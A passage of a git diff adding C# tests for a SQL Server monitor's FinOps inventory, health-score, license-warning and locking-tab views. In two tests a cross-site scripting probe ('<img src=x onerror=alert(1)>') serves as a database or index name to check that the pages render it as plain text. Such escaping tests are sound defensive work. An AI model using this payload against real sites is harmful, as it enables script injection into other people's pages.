+        var body = await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 50, cancellationToken: ct);
+        using var doc = JsonDocument.Parse(body);
+        var servers = doc.RootElement.GetProperty("servers");
+        Assert.Equal(3, expected.Count);
+        Assert.Equal(3, servers.GetArrayLength());
+        for (var i = 0; i < expected.Count; i++)
+            Assert.True(JsonElement.DeepEquals(expected[i], servers[i]), servers[i].GetRawText());
+        Assert.Equal(new[] { Alpha, Gamma, Beta }, servers.EnumerateArray().Select(s => s.GetProperty("server").GetString()).ToArray());
+
+        var alpha = servers[0];
+        /* The inventory row's score is the Utilization view's score for the same server: p95 of the four CPU samples, 40000 of 65536 MB in the
+           buffer pool, half of the 2048 MB free. */
+        var alphaUtil = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(postgres, ServerIdHelper.GetDeterministicHashCode(Alpha), 30, ct);
+        var alphaScore = FinOpsUtilizationFigures.HealthScoreOrNull(alphaUtil!, FinOpsUtilizationFigures.FreeSpacePct(2048m, 1024m));
+        Assert.Equal(alphaScore, alpha.GetProperty("health_score").GetInt32());
+        Assert.Equal(FinOpsUtilizationFigures.HealthBand(alphaScore!.Value), alpha.GetProperty("health_band").GetString());
+        Assert.Equal(38.8m, alpha.GetProperty("avg_cpu_pct").GetDecimal());
+        Assert.Equal(1234.5m * 12, alpha.GetProperty("annual_cost_usd").GetDecimal());
+
+        var gamma = servers[1];
+        Assert.False(gamma.TryGetProperty("avg_cpu_pct", out _));
+        // No CPU sample is a dash, not a score: the property is left out rather than carrying a made-up number.
+        Assert.False(gamma.TryGetProperty("health_score", out _));
+
+        var beta = servers[2];
+        Assert.Equal("stopped", beta.GetProperty("monitoring").GetString());
+        Assert.False(beta.TryGetProperty("physical_memory_mb", out _));
+        Assert.False(string.IsNullOrEmpty(beta.GetProperty("hardware_note").GetString()));
+        Assert.False(beta.TryGetProperty("license_warning", out _));
+        if (beta.GetProperty("hardware_note").GetString() == DarlingMcpFinOpsInventoryTools.HostScopedNoteCode)
+            Assert.Equal(ServerHardwareScope.InventoryHardwareNote, doc.RootElement.GetProperty("hardware_note_legend").GetProperty("host_scoped").GetString());
+    }
+
+    private const string Removed = "darling-finops-inv-tool-removed";
+
+    /* A removed server: registered, disabled by DisableOrphanedServersSql (no config row), with a properties snapshot
+       and CPU history that would otherwise add to the list and to every count built from it. */
+    private static async Task AddRemovedServerAsync(string connectionString, CancellationToken ct)
+    {
+        using var c = new NpgsqlConnection(connectionString);
+        await c.OpenAsync(ct);
+        var id = ServerIdHelper.GetDeterministicHashCode(Removed);
+        await DarlingMcpTestData.RegisterServerAsync(c, id, Removed, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET is_enabled = FALSE WHERE server_id = $1", id);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        await InsertPropertiesAsync(c, id, Removed, now.AddHours(-8), "Standard Edition", "15.0.4000.1", 2, 4, 16384L, 1, 4, "Windows Server 2019", ct);
+    }
+
+    [Fact]
+    public async Task Tool_LeavesARemovedServerOutOfTheListAndTheTotal_UnlessIncludeRemoved()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await AddRemovedServerAsync(scratch.ConnectionString, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using (var doc = JsonDocument.Parse(await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 50, cancellationToken: ct)))
+        {
+            // Alpha, Gamma (enabled) and Beta (stopped but configured); the removed server is neither listed nor counted.
+            Assert.Equal(3, doc.RootElement.GetProperty("total_servers").GetInt32());
+            var names = doc.RootElement.GetProperty("servers").EnumerateArray().Select(s => s.GetProperty("server").GetString()).ToArray();
+            Assert.Equal(new[] { Alpha, Gamma, Beta }, names);
+        }
+
+        using (var doc = JsonDocument.Parse(await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 50, include_removed: true, cancellationToken: ct)))
+        {
+            Assert.Equal(4, doc.RootElement.GetProperty("total_servers").GetInt32());
+            var rows = doc.RootElement.GetProperty("servers").EnumerateArray().ToList();
+            Assert.Equal(Removed, rows[3].GetProperty("server").GetString());
+            Assert.Equal("stopped", rows[3].GetProperty("monitoring").GetString());
+        }
+
+        var (status, body) = await GetAsync(postgres, "/api/read/get_finops_inventory?view=server_inventory&include_removed=true", ct);
+        Assert.Equal(StatusCodes.Status200OK, status);
+        using var web = JsonDocument.Parse(body);
+        Assert.Equal(4, web.RootElement.GetProperty("total_servers").GetInt32());
+        var (defaultStatus, defaultBody) = await GetAsync(postgres, "/api/read/get_finops_inventory?view=server_inventory", ct);
+        Assert.Equal(StatusCodes.Status200OK, defaultStatus);
+        using var webDefault = JsonDocument.Parse(defaultBody);
+        Assert.Equal(3, webDefault.RootElement.GetProperty("total_servers").GetInt32());
+    }
+
+    [Fact]
+    public async Task Reader_DropsARemovedServerByDefault_AndKeepsAConfiguredStoppedOne()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await AddRemovedServerAsync(scratch.ConnectionString, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var byDefault = (await DarlingFinOpsInventoryReader.GetServerInventoryAsync(postgres, 30, cancellationToken: ct)).Select(s => s.ServerName).ToList();
+        Assert.DoesNotContain(Removed, byDefault);
+        Assert.Contains(Beta, byDefault);
+        var withRemoved = await DarlingFinOpsInventoryReader.GetServerInventoryAsync(postgres, 30, includeRemoved: true, cancellationToken: ct);
+        Assert.Contains(Removed, withRemoved.Select(s => s.ServerName));
+        Assert.Equal(byDefault.Count + 1, withRemoved.Count);
+    }
+
+    [Fact]
+    public async Task Tool_WithLimitOne_IsTruncated()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = JsonDocument.Parse(await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 1, cancellationToken: ct));
+        Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.Equal(1, doc.RootElement.GetProperty("servers_returned").GetInt32());
+        Assert.Equal(3, doc.RootElement.GetProperty("total_servers").GetInt32());
+        Assert.Equal(1, doc.RootElement.GetProperty("servers").GetArrayLength());
+    }
+
+    [Fact]
+    public async Task WebRoute_ReturnsTheToolsBody_AndHonoursLimit()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var tool = await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 2, cancellationToken: ct);
+        var (status, body) = await GetAsync(postgres, "/api/read/get_finops_inventory?view=server_inventory&limit=2", ct);
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+        Assert.Equal(2, actual.RootElement.GetProperty("servers_returned").GetInt32());
+        Assert.True(actual.RootElement.GetProperty("truncated").GetBoolean());
+    }
+
+    [Fact]
+    public async Task WebRoute_RefusesAnUnknownView_WithTheToolsRefusal()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, true, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var tool = await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "nope", 10, cancellationToken: ct);
+        var (status, body) = await GetAsync(postgres, "/api/read/get_finops_inventory?view=nope", ct);
+
+        Assert.Equal(StatusCodes.Status400BadRequest, status);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+        Assert.Equal("invalid", actual.RootElement.GetProperty("status").GetString());
+        Assert.Contains("Invalid view value 'nope'", actual.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task MigratedStoreWithNoServers_AnswersEmpty()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live get_finops_inventory test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs!, false, ct);
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var doc = JsonDocument.Parse(await DarlingMcpFinOpsInventoryTools.GetFinOpsInventory(postgres, "server_inventory", 10, cancellationToken: ct));
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsInventoryViewerFiguresTests.cs b/Darling/Darling.Tests/FinOpsInventoryViewerFiguresTests.cs
new file mode 100644
index 0000000000..32c841e77c
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsInventoryViewerFiguresTests.cs
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Server Inventory figures the desktop grid computes itself: the Standard-edition license warning
+/// and the Azure SQL Database hardware blanks and note. Expected values are worked out by hand.
+/// </summary>
+public sealed class FinOpsInventoryViewerFiguresTests
+{
+    [Theory]
+    [InlineData(true, 35, 16384, 8000, 50, 90)]   // cpu 75, memory 100 (buffer pool 49% of RAM), storage 100: 30 + 30 + 30
+    [InlineData(true, 100, 16384, 3000, 20, 40)]  // cpu 0, memory 60 (18% of RAM), storage 75: 0 + 18 + 22.5
+    [InlineData(false, 0, 16384, 8000, 50, 100)]  // no CPU sample: the CPU term is left out, memory and storage keep 30:30
+    public void HealthScore_IsTheUtilizationRule_OverP95BufferPoolAndFreeSpace(
+        bool hasCpu, int p95, int physicalMb, int bufferPoolMb, int freePct, int expected) =>
+        Assert.Equal(expected, FinOpsUtilizationFigures.HealthScore(hasCpu, p95, physicalMb, bufferPoolMb, freePct));
+
+    [Theory]
+    [InlineData(59, "poor")]
+    [InlineData(60, "fair")]
+    [InlineData(79, "fair")]
+    [InlineData(80, "good")]
+    public void HealthBand_CutsAt60And80(int score, string band)
+    {
+        Assert.Equal(band, FinOpsUtilizationFigures.HealthBand(score));
+    }
+
+    [Theory]
+    [InlineData("Standard Edition (64-bit)", 24, 131072L, null)]
+    [InlineData("Standard Edition (64-bit)", 25, 131072L, "CPU: 25 cores (Standard limited to 24)")]
+    [InlineData("Standard Edition (64-bit)", 24, 131073L, "RAM: 128GB (Standard limited to 128GB)")]
+    [InlineData("Standard Edition (64-bit)", 32, 262144L, "CPU: 32 cores (Standard limited to 24); RAM: 256GB (Standard limited to 128GB)")]
+    [InlineData("Enterprise Edition (64-bit)", 64, 524288L, null)]
+    public void LicenseWarning_FiresOnlyOnStandardOverTheCaps(string edition, int cpus, long memoryMb, string? expected)
+    {
+        var row = new ServerPropertyRow { Edition = edition, EngineEdition = 2, CpuCount = cpus, PhysicalMemoryMb = memoryMb };
+        Assert.Equal(expected, row.LicenseWarning);
+        Assert.Equal(expected, FinOpsInventoryFigures.LicenseWarning(edition, 2, cpus, memoryMb));
+    }
+
+    /// <summary>L5 (#5542): the inventory score is a dash both with no CPU sample and with no memory sample, so the dash's note names both reasons.</summary>
+    [Fact]
+    public void NoScoreNote_NamesTheMissingMemorySampleAsWellAsTheCpuSample()
+    {
+        var row = new ServerPropertyRow { HealthScore = null };
+        Assert.Equal(FinOpsHealthCalculator.NoInventoryScoreNote, row.HealthScoreNote);
+        Assert.Contains("CPU sample", row.HealthScoreNote, System.StringComparison.Ordinal);
+        Assert.Contains("memory sample", row.HealthScoreNote, System.StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void LicenseWarning_NeverWarnsOnAzureSqlDatabaseHostMemory()
+    {
+        const string edition = "Azure SQL Database (Standard)";
+        var row = new ServerPropertyRow { Edition = edition, EngineEdition = 5, CpuCount = 2, PhysicalMemoryMb = 934000 };
+        Assert.Null(row.LicenseWarning);
+        Assert.Null(FinOpsInventoryFigures.LicenseWarning(edition, 5, 2, 934000));
+    }
+
+    [Fact]
+    public void AzureSqlDatabase_BlanksTheHostHardwareAndSaysWhy()
+    {
+        var row = new ServerPropertyRow { EngineEdition = 5, CpuCount = 2, PhysicalMemoryMb = 934000, SocketCount = 0, CoresPerSocket = 32 };
+        Assert.Equal(2, row.CpuCount);
+        Assert.Null(row.PhysicalMemoryMb);
+        Assert.Null(row.SocketCount);
+        Assert.Null(row.CoresPerSocket);
+        Assert.Equal(ServerHardwareScope.InventoryHardwareNote, row.HardwareUnavailableReason);
+        Assert.Null(FinOpsInventoryFigures.PhysicalMemoryMb(5, 934000));
+        Assert.Null(FinOpsInventoryFigures.SocketCount(5, 0));
+        Assert.Null(FinOpsInventoryFigures.CoresPerSocket(5, 32));
+        Assert.Equal(row.HardwareUnavailableReason, FinOpsInventoryFigures.HardwareNote(5, null));
+    }
+
+    [Fact]
+    public void OtherEditions_KeepTheStoredHardwareAndNoNote()
+    {
+        var row = new ServerPropertyRow { EngineEdition = 3, CpuCount = 8, PhysicalMemoryMb = 65536, SocketCount = 2, CoresPerSocket = 4 };
+        Assert.Equal(65536L, row.PhysicalMemoryMb);
+        Assert.Equal(2, row.SocketCount);
+        Assert.Equal(4, row.CoresPerSocket);
+        Assert.Null(row.HardwareUnavailableReason);
+        row.HardwareUnavailableReason = "no permission";
+        Assert.Equal("no permission", row.HardwareUnavailableReason);
+        Assert.Equal(65536L, FinOpsInventoryFigures.PhysicalMemoryMb(3, 65536));
+        Assert.Equal("no permission", FinOpsInventoryFigures.HardwareNote(5, "no permission"));
+        Assert.Null(FinOpsInventoryFigures.HardwareNote(3, null));
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsLockingDetailBehaviourTests.cs b/Darling/Darling.Tests/FinOpsLockingDetailBehaviourTests.cs
new file mode 100644
index 0000000000..81d3efee2d
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsLockingDetailBehaviourTests.cs
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5311 (PR2 lane H2): a click on a row of the Locking &amp; Contention table opens an index detail pane that asks ONCE for that
+/// index's four counters (the <c>detail_*</c> selector), says "Loading..." while it waits, draws the counters as text, lets the
+/// newest click win when two overlap, shows a plain sentence for a failed or empty answer, and closes with Escape or its Close
+/// button. Run from the shipped page script under Node (<c>finops-locking-detail-harness.mjs</c>), skipped when Node is not installed.
+/// </summary>
+public sealed class FinOpsLockingDetailBehaviourTests
+{
+    private static readonly Lazy<JsonElement> Result = new(Run);
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-locking-detail-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the locking detail harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the locking detail harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Text(string name) => Result.Value.GetProperty(name).GetString()!;
+
+    private static string[] List(string name) => Result.Value.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void AClick_AsksOnceWithTheSelector_AndShowsLoadingWhileItWaits()
+    {
+        Assert.Equal("", Text("paneBefore"));
+        Assert.EndsWith("Loading...", Text("loading"));
+        Assert.Equal(1, Result.Value.GetProperty("oneCalls").GetInt32());
+        Assert.Equal(
+            "/api/read/get_object_locking?server=srv-a&detail_database=Db&detail_schema=dbo&detail_table=one&detail_index=IX_one",
+            Text("oneUrl"));
+        /* the list was read once, at build; opening a detail never re-reads it */
+        Assert.Equal(1, Result.Value.GetProperty("listCalls").GetInt32());
+    }
+
+    [Fact]
+    public void TheFourCounters_AreDrawnAsText_WithTheirLabels()
+    {
+        Assert.Equal(["Row lock count", "Page lock count", "Page latch wait count", "Page I/O latch wait count"], List("labels"));
+        Assert.Equal(["10", "11", "12", "13"], List("values"));
+    }
+
+    [Fact]
+    public void TheNewestClickWins_AnOlderSlowerAnswerIsDropped()
+    {
+        Assert.Contains("Db.dbo.fast.IX_fast", Text("newest"));
+        Assert.Equal(["2,000", "2,001", "2,002", "2,003"], List("newestValues"));
+        Assert.DoesNotContain("1,000", Text("newest"));
+    }
+
+    [Fact]
+    public void AFailedOrEmptyAnswer_IsAPlainSentence_NeverTheServersErrorText()
+    {
+        Assert.EndsWith("The index detail could not be loaded.", Text("failure"));
+        Assert.DoesNotContain("boom", Text("failure"));
+        Assert.EndsWith("No such index in the latest snapshot of x.", Text("empty"));
+    }
+
+    [Fact]
+    public void EveryValueIsText_AnIndexNameThatLooksLikeMarkupMakesNoElement()
+    {
+        Assert.Contains("<img src=x onerror=alert(1)>", Text("html"));
+        Assert.Equal(0, Result.Value.GetProperty("htmlElements").GetInt32());
+    }
+
+    [Fact]
+    public void EscapeClosesThePane_AndSoDoesTheCloseButton_AndOtherKeysDoNot()
+    {
+        Assert.Equal("function", Text("escapeListener"));
+        Assert.Equal("open", Text("afterOtherKey"));
+        Assert.Equal("", Text("afterEscape"));
+        Assert.Equal("undefined", Text("listenerAfterEscape"));
+        Assert.Equal("Close", Text("closeLabel"));
+        Assert.Equal("", Text("afterClose"));
+    }
+
+    /* #5372 review M1: renderFinops rebuilds the active tab on every page poll. */
+    [Fact]
+    public void APagePoll_ReopensTheOpenRow_AndLeavesExactlyOneEscapeListener()
+    {
+        Assert.Contains("Db.dbo.one.IX_one", Text("pollBefore"));
+        Assert.Contains("Db.dbo.one.IX_one", Text("pollAfter"));
+        Assert.Equal(["10", "11", "12", "13"], List("pollValues"));
+        Assert.Equal(1, Result.Value.GetProperty("pollListeners").GetInt32());
+        Assert.Equal(1, Result.Value.GetProperty("pollListenersAfterSecond").GetInt32());
+        Assert.Contains("Db.dbo.one.IX_one", Text("pollAfterSecond"));
+    }
+
+    [Fact]
+    public void APagePoll_AbortsTheDetailReadStillRunning_AndRemovesTheOldListener()
+    {
+        Assert.True(Result.Value.GetProperty("slowReadAbortedByRebuild").GetBoolean());
+        Assert.Equal(0, Result.Value.GetProperty("pollListenersAfterAbort").GetInt32());
+    }
+
+    [Fact]
+    public void ARowTheReaderClosed_IsNotReopenedByTheNextPoll() => Assert.Equal("", Text("afterChosenClose"));
+}
diff --git a/Darling/Darling.Tests/FinOpsLockingHeatBehaviourTests.cs b/Darling/Darling.Tests/FinOpsLockingHeatBehaviourTests.cs
new file mode 100644
index 0000000000..22fea858a7
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsLockingHeatBehaviourTests.cs
@@ -0,0 +1,94 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5311: the Locking &amp; Contention tab shades its four wait cells (row lock, page lock, page latch, page I/O latch) with the
+/// band the service sent in each row's <c>heat</c> list, and computes nothing. Run from the shipped page script under Node
+/// (<c>finops-locking-heat-harness.mjs</c>), skipped when Node is not installed. The scripted rows carry bands that do NOT follow
+/// their wait values (the smallest waits carry the top bands), so a class that matches the response proves the browser did not
+/// compute its own. A null band, or a row with no <c>heat</c>, shows no band class.
+/// </summary>
+public sealed class FinOpsLockingHeatBehaviourTests
+{
+    private static readonly Lazy<JsonElement> Result = new(Run);
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-locking-heat-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the locking heat harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the locking heat harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Classes(string row) =>
+        Result.Value.GetProperty("rows").GetProperty(row).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void TheFourWaitCells_TakeTheBandClassTheResponseCarried_NotOneComputedFromTheirValues()
+    {
+        Assert.Equal(["num heat-band-7", "num heat-band-6", "num heat-band-5", "num heat-band-4"], Classes("small"));
+        Assert.Equal(["num heat-band-0", "num heat-band-1", "num heat-band-2", "num heat-band-3"], Classes("large"));
+    }
+
+    [Fact]
+    public void ANullBand_AndARowWithNoHeat_ShowNoBandClass_AndTheTextStaysText()
+    {
+        Assert.Equal(["num", "num", "num heat-band-3", "num"], Classes("nulls"));
+        Assert.Equal(["num", "num", "num", "num"], Classes("noheat"));
+    }
+
+    [Fact]
+    public void OnlyTheFourWaitCellsAreShaded()
+    {
+        foreach (var row in new[] { "small", "large", "nulls", "noheat" })
+            Assert.Empty(Result.Value.GetProperty("rows").GetProperty(row + "#others").EnumerateArray());
+    }
+
+    [Fact]
+    public void TheTabSource_ComputesNoBand_ItOnlyNamesTheClassFromTheRow()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "locking.js");
+        Assert.DoesNotMatch(new Regex(@"Math\.(log|floor|max|min|round|ceil)", RegexOptions.None, TimeSpan.FromSeconds(5)), js);
+        Assert.Equal(4, Regex.Matches(js, @"cellClass: heatClass\([0-3]\)", RegexOptions.None, TimeSpan.FromSeconds(5)).Count);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsLockingPickerBehaviourTests.cs b/Darling/Darling.Tests/FinOpsLockingPickerBehaviourTests.cs
new file mode 100644
index 0000000000..f918f209a3
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsLockingPickerBehaviourTests.cs
@@ -0,0 +1,175 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The FinOps Database box (<c>js/pages/finops/database-box.js</c>) that the Locking &amp; Contention tab gained and Index Analysis
+/// now shares (#5231, #5244 L6 and L8c), run from the shipped page scripts under Node (<c>finops-locking-picker-harness.mjs</c>):
+/// the Locking read sends <c>database_name</c> only for a typed name, a typed "salesdb" is sent as the stored "SalesDb" (also on
+/// Index Analysis), a name that matches no suggestion goes as typed, each of the six awkward names is ONE name through the draft and
+/// the send, an uncut list reads nothing while typing, and a list the route cut asks again once with the newest text. Node is
+/// skipped when it is not installed.
+/// </summary>
+public sealed class FinOpsLockingPickerBehaviourTests
+{
+    private static readonly Lazy<JsonElement> Result = new(Run);
+
+    private static readonly string[] Awkward = { "A,B", "x]", " SalesDb", "O'Brien", "50%+off", "<img src=x onerror=alert(1)>" };
+
+    public static TheoryData<string> AwkwardNames()
+    {
+        var data = new TheoryData<string>();
+        foreach (var name in Awkward) data.Add(name);
+        return data;
+    }
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "finops-locking-picker-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page scripts cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the locking picker harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the locking picker harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    /// <summary>The database_name values of each read the step made: one array per read, empty when the read named no database.</summary>
+    private static string[][] Reads(JsonElement reads) =>
+        reads.EnumerateArray().Select(r => r.EnumerateArray().Select(e => e.GetString()!).ToArray()).ToArray();
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void TheFirstReadsAskTheRouteForTheServersNames_AndTheTableNamesNoDatabase()
+    {
+        var first = Result.Value.GetProperty("first");
+        var route = first.GetProperty("route").EnumerateArray().ToArray();
+        Assert.Single(route);
+        Assert.Equal("srv-a", route[0].GetProperty("server").GetString());
+        Assert.Equal(JsonValueKind.Null, route[0].GetProperty("search").ValueKind);
+        Assert.Equal(new[] { Array.Empty<string>() }, Reads(first.GetProperty("reads")));
+        Assert.Equal(new[] { "SalesDb" }.Concat(Awkward), Strings(first.GetProperty("options")));
+        Assert.Equal(0, first.GetProperty("images").GetInt32());
+    }
+
+    /* RED on the base: there was no box, so nothing was typed and nothing was sent. */
+    [Fact]
+    public void ATypedSalesdbIsSentAsTheStoredSalesDb_AndTheBoxShowsIt()
+    {
+        var step = Result.Value.GetProperty("lowercase");
+        Assert.Equal(new[] { new[] { "SalesDb" } }, Reads(step.GetProperty("reads")));
+        Assert.Equal("SalesDb", step.GetProperty("shown").GetString());
+    }
+
+    [Fact]
+    public void ABlankBoxIsAllDatabases_AndANameThatMatchesNoSuggestionGoesAsTyped()
+    {
+        Assert.Equal(new[] { Array.Empty<string>() }, Reads(Result.Value.GetProperty("blank").GetProperty("reads")));
+        Assert.Equal(new[] { new[] { "Nope" } }, Reads(Result.Value.GetProperty("unknown").GetProperty("reads")));
+    }
+
+    [Theory]
+    [MemberData(nameof(AwkwardNames))]
+    public void EachAwkwardName_ListedOrNot_GoesAsOneNameExactlyAsTyped(string name)
+    {
+        var run = Result.Value;
+        var listed = run.GetProperty("awkward").GetProperty(name);
+        Assert.Equal(new[] { new[] { name } }, Reads(listed.GetProperty("reads")));
+        Assert.Equal(0, listed.GetProperty("images").GetInt32());
+        Assert.Equal(new[] { new[] { name } }, Reads(run.GetProperty("awkwardNotListed").GetProperty(name)));
+    }
+
+    [Fact]
+    public void TwoSuggestionsThatDifferOnlyByCase_AreNotGuessedBetween()
+    {
+        var ambiguous = Result.Value.GetProperty("ambiguous");
+        Assert.Equal(new[] { new[] { "FOO" } }, Reads(ambiguous.GetProperty("FOO")));
+        Assert.Equal(new[] { new[] { "foo" } }, Reads(ambiguous.GetProperty("foo")));
+        Assert.Equal(new[] { new[] { "Foo" } }, Reads(ambiguous.GetProperty("Foo")));
+    }
+
+    [Fact]
+    public void AListTheRouteDidNotCut_ReadsNothingWhileTheReaderTypes()
+    {
+        Assert.Equal(0, Result.Value.GetProperty("uncutTyping").GetProperty("routeReads").GetInt32());
+    }
+
+    [Fact]
